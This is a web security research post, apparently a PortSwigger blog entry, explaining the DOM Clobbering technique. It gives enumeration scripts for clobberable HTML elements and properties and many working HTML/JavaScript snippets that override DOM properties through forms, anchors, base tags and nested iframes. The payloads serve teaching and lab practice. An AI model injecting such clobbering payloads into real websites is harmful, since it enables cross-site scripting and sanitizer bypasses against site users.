Published: 06 February 2020 at 14:36 UTC
Updated: 07 July 2020 at 10:31 UTC
As classic client-side vulnerabilities like XSS and CSRF get patched, CSP'd and SameSite'd into oblivion, niche attack techniques like DOM Clobbering are becoming ever more relevant. MichaĆ Bentkowski recently used DOM Clobbering to exploit GMail, six years after I first introduced the technique in 2013. In this post, I'm going to quickly introduce DOM Clobbering, expand on my original research with some new techniques, and share two interactive labs so you can try the techniques out for yourself. If you're not already familiar with DOM Clobbering, you might want to check out our Introduction to DOM Clobbering in the Web Security Academy first.
First, to get a list of HTML elements that can be used together is quite simple. You just need to place the two HTML elements next to each other, assign them an ID each, and then check that the first element has a property of the second element.
Here is the code to generate HTML relationships:
var log=[];
var html = ["a","abbr","acronym","address","applet","area","article","aside","audio","b","base","basefont","bdi","bdo","bgsound","big","blink","blockquote","body","br","button","canvas","caption","center","cite","code","col","colgroup","command","content","data","datalist","dd","del","details","dfn","dialog","dir","div","dl","dt","element","em","embed","fieldset","figcaption","figure","font","footer","form","frame","frameset","h1","head","header","hgroup","hr","html","i","iframe","image","img","input","ins","isindex","kbd","keygen","label","legend","li","link","listing","main","map","mark","marquee","menu","menuitem","meta","meter","multicol","nav","nextid","nobr","noembed","noframes","noscript","object","ol","optgroup","option","output","p","param","picture","plaintext","pre","progress","q","rb","rp","rt","rtc","ruby","s","samp","script","section","select","shadow","slot","small","source","spacer","span","strike","strong","style","sub","summary","sup","svg","table","tbody","td","template","textarea","tfoot","th","thead","time","title","tr","track","tt","u","ul","var","video","wbr","xmp"], logs = [];
div=document.createElement('div');
for(var i=0;i<html.length;i++) {
for(var j=0;j<html.length;j++) {
div.innerHTML='<'+html[i]+' id=element1>'+'<'+html[j]+' id=element2>';
document.body.appendChild(div);
if(window.element1 && element1.element2){
log.push(html[i]+','+html[j]);
}
document.body.removeChild(div);
}
}
console.log(log.join('\n'));
This results in the somewhat expected list of form related elements and image elements:
form->button
form->fieldset
form->image
form->img
form->input
form->object
form->output
form->select
form->textarea
So for instance if you wanted to clobber x.y.value on an object then you would do the following:
<form id=x><output id=y>I've been clobbered</output>
<script>
alert(x.y.value);
</script>
You can of course use my old trick using ID and name attributes together to form a DOM collection. A DOM collection is like an array of more than one DOM elements. You can access an item in the collection numerically or by their name.
<a id=x><a id=x name=y href="Clobbered">
<script>
alert(x.y)
</script>
It's possible to clobber three levels deep by using a DOM collections with a form (thanks for the correction @PwnFunction):
<form id=x name=y><input id=z></form>
<form id=x></form>
<script>
alert(x.y.z)
</script>
In Chrome when using form control/image elements with a parent form element. You can make the grouped elements an array like object. Chrome labels these as a [object RadioNodeList] and this object has array methods like forEach
:
<form id=x>
<input id=y name=z>
<input id=y>
</form>
<script>
x.y.forEach(element=>alert(element))
</script>
You might be wondering why not just use attributes. Well they only work if they have been defined as a valid attribute by the HTML specification. This means any attribute that has not been defined won't have a DOM property and therefore be undefined. For example:
<form id=x y=123></form>
<script>
alert(x.y)//undefined
</script>
You can search the DOM for properties that can be clobbered quite easily:
var html = [...]//HTML elements array
var props=[];
for(i=0;i<html.length;i++){
obj = document.createElement(html[i]);
for(prop in obj) {
if(typeof obj[prop] === 'string') {
try {
props.push(html[i]+':'+prop);
}catch(e){}
}
}
}
console.log([...new Set(props)].join('\n'));
The previous code will show DOM properties that are strings but they are not necessarily controllable. To check if they are controllable to some extent you can attempt to assign the property and read the value:
var html = [...]//HTML elements array
var props=[];
for(i=0;i<html.length;i++){
obj = document.createElement(html[i]);
for(prop in obj) {
if(typeof obj[prop] === 'string') {
try {
DOM.innerHTML = '<'+html[i]+' id=x '+prop+'=1>';
if(document.getElementById('x')[prop] == 1) {
props.push(html[i]+':'+prop);
}
}catch(e){}
}
}
}
console.log([...new Set(props)].join('\n'));
When running all the above code I noticed two blank strings in the results "username" and "password". These were DOM properties of the anchor tag but not HTML attributes. It seemed that you could maybe control these values using an anchor somehow. Through trial and error, I discovered that these properties related to username and password portion of the anchor URL traditionally used with FTP URLs to provide credentials. This also works with HTTP URLs provided you use the @ symbol.
<a id=x href="ftp:Clobbered-username:Clobbered-Password@a">
<script>
alert(x.username)//Clobbered-username
alert(x.password)//Clobbered-password
</script>
You might have noticed that the browser often URL encodes the values when using clobbered attributes like href. It's possible to get round this using different protocols such as file system URLs or others:
<a id=x href="abc:<>">
<script>
alert(x)//abc:<>
</script>
Firefox also allows you to use other protocols in base tags and that protocol will be used by anchors and allow un-encoded values:
<base href=a:abc><a id=x href="Firefox<>">
<script>
alert(x)//Firefox<>
</script>
It's possible to do the same in Chrome but this time supply the value you want inside the base href:
<base href="a://Clobbered<>"><a id=x name=x><a id=x name=xyz href=123>
<script>
alert(x.xyz)//a://Clobbered<>
</script>
We have released two interactive DOM labs built around this technique in the Web Security Academy so you can try it out for yourself:
LAB
Clobbering to enable XSS lab
LAB
Clobbering attributes lab
So @Terjanq mentioned it's possible to clobber multiple levels of properties on objects using iframes and srcdoc. The technique works because when using a name attribute on an iframe the actual contentWindow
of the iframe get assigned to the global variable. Which then enables you to chain together HTML elements inside that iframe. For example:
<iframe name=a srcdoc="
<iframe srcdoc='<a id=c name=d href=cid:Clobbered>test</a><a id=c>' name=b>"></iframe>
<script>setTimeout(()=>alert(a.b.c.d),500)</script>
But you may have noticed this requires a setTimeout to cause a delay in order for that iframe to render. However, I found a way to clobber using the iframe without a timeout! If you have a style/link element that imports a style sheet this creates a small delay which enables the iframe to load and clobber immediately. Here's how it works:
<iframe name=a srcdoc="
<iframe srcdoc='<a id=c name=d href=cid:Clobbered>test</a><a id=c>' name=b>"></iframe>
<style>@import '//portswigger.net';</style>
<script>
alert(a.b.c.d)
</script>